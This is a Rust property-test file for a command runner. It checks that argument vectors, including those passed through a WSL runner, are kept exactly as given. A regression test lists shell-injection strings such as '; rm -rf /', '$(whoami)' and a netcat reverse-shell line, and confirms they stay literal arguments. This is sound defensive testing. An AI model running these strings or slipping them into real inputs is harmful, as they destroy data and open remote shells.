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use proptest::prelude::*;
use std::ffi::OsString;
use xchecker::runner::{CommandSpec, WslRunner};
proptest! {
/// **Property 16: Argv-style execution**
/// **Validates: Requirements FR-SEC-4**
#[test]
fn prop_command_spec_preserves_arbitrary_args(
program in "\\PC*",
args in proptest::collection::vec("\\PC*", 0..10)
) {
let mut cmd = CommandSpec::new(&program);
for arg in &args {
cmd = cmd.arg(arg);
}
// Verify program is preserved
assert_eq!(cmd.program, OsString::from(&program));
// Verify args are preserved exactly
assert_eq!(cmd.args.len(), args.len());
for (i, arg) in args.iter().enumerate() {
assert_eq!(cmd.args[i], OsString::from(arg));
}
}
/// **Property 17: WSL runner safety**
/// **Validates: Requirements FR-SEC-4**
#[test]
fn prop_wsl_runner_accepts_arbitrary_args(
program in "\\PC*",
args in proptest::collection::vec("\\PC*", 0..10)
) {
// Filter out strings containing null bytes as they are not allowed in OsString/Command
if program.contains('\0') || args.iter().any(|s| s.contains('\0')) {
return Ok(());
}
let mut cmd = CommandSpec::new(&program);
for arg in &args {
cmd = cmd.arg(arg);
}
// We can't easily test the internal build_wsl_command since it's private,
// but we can verify that creating the runner and validating it works.
let runner = WslRunner::new();
// On Windows, we could try to run it, but that would be slow and might fail
// if WSL is not installed.
// Instead, we rely on the fact that WslRunner uses CommandSpec internally,
// which we've verified preserves arguments.
// We can at least verify that the runner configuration is valid
// (though validate() checks for WSL availability on Windows)
let _ = runner;
}
}
#[test]
fn test_command_spec_shell_metacharacters() {
// Specific regression test for common shell injection vectors
let dangerous_inputs = vec![
"; rm -rf /",
"$(whoami)",
"`ls`",
"| nc -e /bin/sh 127.0.0.1 1337",
"> output.txt",
"& echo injected",
"&& echo injected",
"|| echo injected",
"$HOME",
"${VAR}",
];
for input in dangerous_inputs {
let cmd = CommandSpec::new("echo").arg(input);
assert_eq!(cmd.args[0], OsString::from(input));
// Verify to_command() doesn't panic
let _ = cmd.to_command();
}
}